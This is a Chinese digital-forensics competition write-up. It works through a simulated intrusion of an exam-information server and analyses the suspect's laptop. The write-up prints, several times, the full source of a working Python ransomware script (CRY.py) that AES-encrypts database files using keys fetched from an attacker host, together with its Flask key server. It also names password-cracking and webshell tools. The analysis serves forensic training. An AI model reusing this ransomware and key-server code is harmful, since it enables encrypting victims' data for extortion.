1 2021年5月,接某考试信息中心报案称,其单位一存储考生个人信息的服务器疑似被入侵,数据库被破坏并勒索比特币,警方当即固定了服务器的镜像server.e01。经调查警方抓获了嫌疑人并对其使用的笔记本电脑只做了镜像PC.e01,请对两个检材进行分析,并回答下面的问题:
第一部分 1. 镜像sever.e01对应的被入侵服务器源盘sha256为 98C53B2AC30758EF0977FC313D5D1A070EBF51AE09E0DF36664A5CCF81DF35C5
2. 服务器操作系统内核版本为3.10.0-957.el7.x86_64
3. 服务器配置的网关为192.168.232.2
4. 服务器中有2个登录过的账号
5. 服务器中root账号的密码为nb7001 cmd5跑shadow文件跑不出来
后面分析PC时候会出现
6. 入侵者IP为192.168.232.150 last+ifconfig
7. 入侵者首次登录成功时间为15:01:08(14:57:17)(14:59:21)(格式要求:HH:MM:SS,如14:03:27) 接下来先不看题目,先分析Linux,再来逐题解答,这样不会被题目牵着走,没思路的时候再来看题干
root用户家目录下有两个文件
一:入侵者qq 二、服务器是LNMP架构
刚在做第四题的时候看到还有一个用户,su一下,看家目录有一堆网站
启网站,看端口
查看定时任务
发现一堆备份文件
应该是历史命令的备份文件和网站日志的备份文件
看不一样的哈希值,浏览、追踪一下历史命令
发现脱库操作,和数据库账密
btmp没什么东西
看nginx的配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #honglian user www www; worker_processes auto; error_log /home/wwwlogs/nginx_error.log crit; pid /usr/local/nginx/logs/nginx.pid; #Specifies the value for maximum file descriptors that can be opened by this process. worker_rlimit_nofile 51200; events { use epoll; worker_connections 51200; multi_accept on; } http { include mime.types; default_type application/octet-stream; server_names_hash_bucket_size 128; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 50m; sendfile on; tcp_nopush on; keepalive_timeout 60; tcp_nodelay on; fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; fastcgi_buffer_size 64k; fastcgi_buffers 4 64k; fastcgi_busy_buffers_size 128k; fastcgi_temp_file_write_size 256k; gzip on; gzip_min_length 1k; gzip_buffers 4 16k; gzip_http_version 1.1; gzip_comp_level 2; gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml application/xml+rss; gzip_vary on; gzip_proxied expired no-cache no-store private auth; gzip_disable "MSIE [1-6]\."; #limit_conn_zone $binary_remote_addr zone=perip:10m; ##If enable limit_conn_zone,add "limit_conn perip 10;" to server section. server_tokens off; access_log on; server { listen 80 default_server; #listen [::]:80 default_server ipv6only=on; server_name _; index index.html index.htm index.php; root /home/wwwroot/mhedu.sh.cn; #error_page 404 /404.html; # Deny access to PHP files in specific directory #location ~ /(wp-content|uploads|wp-includes|images)/.*\.php$ { deny all; } include enable-php.conf; location /nginx_status { stub_status on; access_log on; } location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ { expires 30d; } location ~ .*\.(js|css)?$ { expires 12h; } location ~ /.well-known { allow all; } location ~ /\. { deny all; } access_log /home/wwwlogs/access.log; } include vhost/*.conf; }
只有一个网站是启着的
接下来看网站的日志/home/wwwlogs/access.log,360星图梭一下
1.php估计是黑客的马子,找个webshell检测工具跑一下验证
忘记关杀软,又被扫出来了
分析大致结束了,再开始做题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 早期unix 在/usr/adm 较新版本 在/var/adm solaris&linux&bsd 在 /var/log lastlog:近期成功登陆记录 loginlog:不良的登陆尝试记录 messages:记录输出到系统主控台以及由syslog系统服务程序产生的消息、 utmp:记录当前登陆的每个用户 utmpx:拓展的utmp wtmp:记录每一次用户登陆和注销的历史信息 last -f /var/log/wtmp vold.log:使用外部介质出现的错误 xferkig:记录ftp的存取情况 sulog:记录su命令的使用情况 acct:记录每个用户使用过的命令 last:/var/log/secure 最后登录 1、安全日志 /var/log/secure 作用:安全日志secure包含验证和授权方面信息 分析:是否有IP爆破成功 2、用户信息 /etc/passwd 内容含义:注册名、口令、用户标识号、组标识号、用户名、用户主目录、命令解释程序 分析:是否存在攻击者创建的恶意用户 3、命令执行记录 ~/.bash_history 作用:命令执行记录 ~/.bash_history 分析:是否有账户执行过恶意操作系统命令 4、root邮箱 /var/spool/mail/root 作用:root邮箱 /var/spool/mail/root 分析:root邮箱的一个文件,在该文件中包含大量信息, 当日志被删除可查询本文件 5、中间件日志(Web日志access_log) nginx、apache、tomcat、jboss、weblogic、websphere作用: 记录访问信息分析:请求次数过大,访问敏感路径的IP位置:/var/log下 access.log文件(apache默认 位置) 位置:/var/log/nginx下 access名称日志(nginx日志位置) 位置:tomcat、weblogic等日志均存放在安装路径下logs文件下 访问日志结构:访问IP---时间---请求方式---请求路径---请求协议----请求状态---字节数 6.登陆日志(可直接使用命令调取该信息,对应命令last/lastb) 位置:/var/log/wtmp #成功连接的IP信息 位置:/var/log/btmp #连接失败的IP信息 7.cron(定制任务日志)日志 位置:/var/log/cron 作用:查看历史计划任务(对该文件进行分析调取恶意病毒执行的计划任务,获取准确时间) 8、history 日志位置:~/.bash_history 作用:操作命令记录,可筛查攻击者执行命令信息 9、其他日志 redis、sql server、mysql、oracle等 作用:记录访问信息分析:敏感操作
跟着日志一把梭,慢慢找,注意报警的时间,这个对于快速检索很重要
8. 入侵者设置了1个定时任务
9. 定时任务将大量日志文件转存至/tmp/backup-log/(backup-log)目录
10. 服务器的网站目录及子目录中,共存在2(1)个webshell 上面d盾分析了,adminer.php算一个操作数据库的大马
11. 数据库账号为root,密码为nb250250 上面有
12. 数据库版本号为5.5.62
13. 嫌疑人入侵服务器后,在数据库中共修改了3个学生的分数
看一下mysql日志
再进去验证一下
名字
原成绩
修改后成绩
胡金保
564
600
金喆昊
538
600
范诗怡
539
600
14. 嫌疑人入侵服务器后,在数据库中共删除了52条学生相关记录
15. 将被篡改的数据库修复,统计全部学生信息中,身份证为31开头的,且分数大于540分的学生共有1048名 在后面PC分析的时候发现了student.sql
启个差不多版本的数据库,phpstudy导入
1 SELECT COUNT (* ) FROM score where idcard LIKE "31%" AND score> 540
16. 将被篡改的数据库修复,统计全部学生信息中,有12对同名的学生。 1 2 3 4 SELECT `name`,COUNT (name) FROM scoreGROUP BY `name`HAVING COUNT (`name`)> 1
第二部分 17. 镜像PC.e01对应的嫌疑人PC源盘sha256为 6EEF51A3737269D631B733AB476B236E055103115D463DAF81529556C1738199
18. PC操作系统安装时间为2021-05-02 00:30:44(格式要求:YYYY-MM-DD HH:MM:SS,如2019-03-17 14:03:27)
19. 嫌疑人破解服务器密码使用的工具/软件名为hydra 接下来解密bitlocker,一般的bitlocker都可以搜恢复密钥,搜出来
解密后,把检材卸载,重新跑一遍
有一个安卓嵌套,扔火眼
仿真,仿真能更加直观地体现嫌疑人作案时候的操作,然后浏览文件
Misc手基本素养,office三大件实际上都是zip文件
实际上是excel打开
发现了货1 3 5,货3有密码,扔给passware去爆破,在浏览的时候留意一下密码
foxmail里面有个货2
看到一个磁盘文件,导出,火眼跑一下
货4找到了
发现货6,经过PGS,校赛的毒打以后,对图片很敏感
PK头,估计也是excel了
D盘里还有几个压缩包没分析
有一个检材嵌套,扔火眼,还有网站源码和日志
到这里这个检材大概算分析完成了,接下来看检材嵌套
1 2 3 4 5 6 7 key.log 95a10a23fca34b69aa8ab9c38230fc9e,.,202105081329 95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081330 95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081333 95a10a23fca34b69aa8ab9c38230fc9e,/studient.sql,202105081525 95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081528
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 web.log * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit) * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit) 192.168.232.148 - - [08/May/2021 12:32:41] "[33mGET / HTTP/1.1[0m" 404 - 192.168.232.148 - - [08/May/2021 12:33:15] "[33mPOST /key/ HTTP/1.1[0m" 404 - 192.168.232.148 - - [08/May/2021 12:35:06] "[33mPOST /key/ HTTP/1.1[0m" 404 - 192.168.232.148 - - [08/May/2021 13:28:32] "[33mPOST /key/ HTTP/1.1[0m" 404 - 192.168.232.148 - - [08/May/2021 13:29:22] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 - 192.168.232.148 - - [08/May/2021 13:30:27] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 - 192.168.232.148 - - [08/May/2021 13:33:13] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 - 192.168.232.148 - - [08/May/2021 15:25:53] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 - 192.168.232.148 - - [08/May/2021 15:28:58] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 - * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit) * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
XISE已经解压到桌面了,是一个Webshell管理工具
扔到passware里面,留意密码,火眼能看到文件记录
CRY.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport osimport timeimport requestsimport sysdef discover_files (startpath ): extensions = [ 'db' , 'sql' , 'dbf' , 'mdb' , 'opt' , 'frm' , 'ibd' ] for dirpath, dirs, files in os.walk(startpath): for i in files: absolute_path = os.path.abspath(os.path.join(dirpath, i)) ext = absolute_path.split('.' )[-1 ] if ext in extensions: yield absolute_path def modify_file_inplace (filename, crypto, key, blocksize=4096 ): with open (filename, 'r+b' ) as f: plaintext = f.read(blocksize) while plaintext: if len (plaintext) < blocksize: padtext = pad(plaintext, AES.block_size, style='pkcs7' ) ciphertext = crypto(padtext) else : ciphertext = crypto(plaintext) f.seek(-len (plaintext), 1 ) f.write(ciphertext) plaintext = f.read(blocksize) def get_machine_id (): with open ('/etc/machine-id' , 'r' ) as f: return f.readline().strip() def get_time (): return time.strftime("%Y%m%d%H%M" , time.localtime()) def get_key (path, machine_id, time ): res = requests.post( url = 'http://192.168.232.150:5000/key/{0}' .format (machine_id), json = { 'path' : path, 'time' : time } ) return res.text def main (): if len (sys.argv) != 2 : exit() path = sys.argv[1 ] key = get_key(path, get_machine_id(), get_time()) cipher = AES.new(key[:16 ].encode('ascii' ), AES.MODE_CBC, IV=key[16 :].encode('ascii' )) for file in discover_files(path): modify_file_inplace(file, cipher.encrypt, key=key.encode('ascii' )) os.rename(file, file+'.CRY' ) print (file, 'encrypted.' ) if __name__=="__main__" : main()
key-server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from flask import Flask, requestimport hashlibimport base64import loggingapp = Flask(__name__) logger = logging.getLogger('werkzeug' ) handler = logging.FileHandler('web.log' ) logger.addHandler(handler) @app.route('/key/<machine_id>' , methods=['post' ] ) def get_keys (machine_id ): path = request.json['path' ] time = request.json['time' ] with open ('key.log' , 'a' ) as f: f.write(f'{machine_id} ,{path} ,{time} \n' ) return hashlib.sha256((machine_id+time).encode('ascii' )).hexdigest()[:32 ] if __name__ == '__main__' : app.run(host='0.0.0.0' )
backuplog.sh
1 2 3 4 #!/bin/sh cd /tmp/backup-log/tar czvf .var.log$(date +%Y%m%d%H%M).tar.gz /var/log tar czvf .backup-history.$(date +%Y%m%d%H%M).tar.gz /root/.bash_history
桌面还有一个远控平台
和Hydra截图及源码
文档这里有个history
火眼里能看到ssh连接记录
嵌套检材大致又过了一遍,现在可以做题了
嫌疑人破解服务器密码使用的工具/软件名为hydra,上面截图已经在了
20. 嫌疑人PC中,bitlocker分区恢复秘钥为327954-438944-621852-201003-531718-502172-098219-240251 最开始分析的时候就找到了
21. 嫌疑人将所有学生信息拆分为6份文件 货123456
22. 所有被拆分的学生信息文件中,有一份被删除,该文件中共有学生信息339条 repair里的货4
24. 嫌疑人曾通过QQ售卖的学生信息,买家QQ号为234011698
25. 嫌疑人首次访问服务器中上传的1.php文件的时间为15:42:43(格式要求:HH:MM:SS,如14:03:27) 看日志
26. 提取并分析服务器中的加密程序,该程序执行后会加密7种不同类型的文件 入侵.vmdk里的CRY.py
1 2 3 extensions = [ 'db', 'sql', 'dbf', 'mdb', 'opt', 'frm', 'ibd' ]
27. 嫌疑人共加密了4个文件
入侵ssh连接的就是这台,操作全在这里了
1 2 3 4 for file in discover_files(path): modify_file_inplace(file, cipher.encrypt, key=key.encode('ascii' )) os.rename(file, file+'.CRY' ) print (file, 'encrypted.' )
这个加密脚本特征也很明显,搜后缀也可以
28. 首次成功加密文件的时间为2021-05-08 13:33:13(格式要求:YYYY-MM-DD HH:MM:SS,如2019-03-17 14:03:27)
29. 该程序对目标文件的加密方式为AES CRY源码一眼丁真
30. 该程序对文件studient.sql进行加密时,使用的秘钥为9ff79decd3d6fbb2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport osimport timeimport requestsimport sysdef discover_files (startpath ): extensions = [ 'db' , 'sql' , 'dbf' , 'mdb' , 'opt' , 'frm' , 'ibd' ] for dirpath, dirs, files in os.walk(startpath): for i in files: absolute_path = os.path.abspath(os.path.join(dirpath, i)) ext = absolute_path.split('.' )[-1 ] if ext in extensions: yield absolute_path def modify_file_inplace (filename, crypto, key, blocksize=4096 ): with open (filename, 'r+b' ) as f: plaintext = f.read(blocksize) while plaintext: if len (plaintext) < blocksize: padtext = pad(plaintext, AES.block_size, style='pkcs7' ) ciphertext = crypto(padtext) else : ciphertext = crypto(plaintext) f.seek(-len (plaintext), 1 ) f.write(ciphertext) plaintext = f.read(blocksize) def get_machine_id (): with open ('/etc/machine-id' , 'r' ) as f: return f.readline().strip() def get_time (): return time.strftime("%Y%m%d%H%M" , time.localtime()) def get_key (path, machine_id, time ): res = requests.post( url = 'http://192.168.232.150:5000/key/{0}' .format (machine_id), json = { 'path' : path, 'time' : time } ) return res.text def main (): if len (sys.argv) != 2 : exit() path = sys.argv[1 ] key = get_key(path, get_machine_id(), get_time()) cipher = AES.new(key[:16 ].encode('ascii' ), AES.MODE_CBC, IV=key[16 :].encode('ascii' )) for file in discover_files(path): modify_file_inplace(file, cipher.encrypt, key=key.encode('ascii' )) os.rename(file, file+'.CRY' ) print (file, 'encrypted.' ) if __name__=="__main__" : main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from flask import Flask, requestimport hashlibimport base64import loggingapp = Flask(__name__) logger = logging.getLogger('werkzeug' ) handler = logging.FileHandler('web.log' ) logger.addHandler(handler) @app.route('/key/<machine_id>' , methods=['post' ] ) def get_keys (machine_id ): path = request.json['path' ] time = request.json['time' ] with open ('key.log' , 'a' ) as f: f.write(f'{machine_id} ,{path} ,{time} \n' ) return hashlib.sha256((machine_id+time).encode('ascii' )).hexdigest()[:32 ] if __name__ == '__main__' : app.run(host='0.0.0.0' )
AES加密需要密钥,我们只需关注key的逻辑即可
推荐复制粘贴到pycharm里,跟踪函数很方便
找到关键函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def get_key (path, machine_id, time ): res = requests.post( url='http://192.168.232.150:5000/key/{0}' .format (machine_id), json={ 'path' : path, 'time' : time } ) return res.text def get_machine_id (): with open ('/etc/machine-id' , 'r' ) as f: return f.readline().strip() def get_time (): return time.strftime("%Y%m%d%H%M" , time.localtime()) key = get_key(path, get_machine_id(), get_time()) cipher = AES.new(key[:16 ].encode('ascii' ), AES.MODE_CBC, IV=key[16 :].encode('ascii' ))
找到机器码和时间后加密,因为向服务端发起请求,所以观察flask部分
因为flask里面也有获取key的部分,我们只要从key.log里获取信息即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from flask import Flask, requestimport hashlibimport base64import loggingapp = Flask(__name__) logger = logging.getLogger('werkzeug' ) handler = logging.FileHandler('web.log' ) logger.addHandler(handler) @app.route('/key/<machine_id>' , methods=['post' ] ) def get_keys (machine_id ): path = request.json['path' ] time = request.json['time' ] with open ('key.log' , 'a' ) as f: f.write(f'{machine_id} ,{path} ,{time} \n' ) return hashlib.sha256((machine_id+time).encode('ascii' )).hexdigest()[:32 ] if __name__ == '__main__' : app.run(host='0.0.0.0' )
1 2 3 4 5 95a10a23fca34b69aa8ab9c38230fc9e,.,202105081329 95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081330 95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081333 95a10a23fca34b69aa8ab9c38230fc9e,/studient.sql,202105081525 95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081528
但是为什么修改时间是202105081528,而key.log是202105081525呢,写一个demo
可以看到加密时候的路径不是文件的路径,而是文件所在目录的路径
所以不要被key.log里面studient.sql迷惑了
再取前十六位
9ff79decd3d6fbb2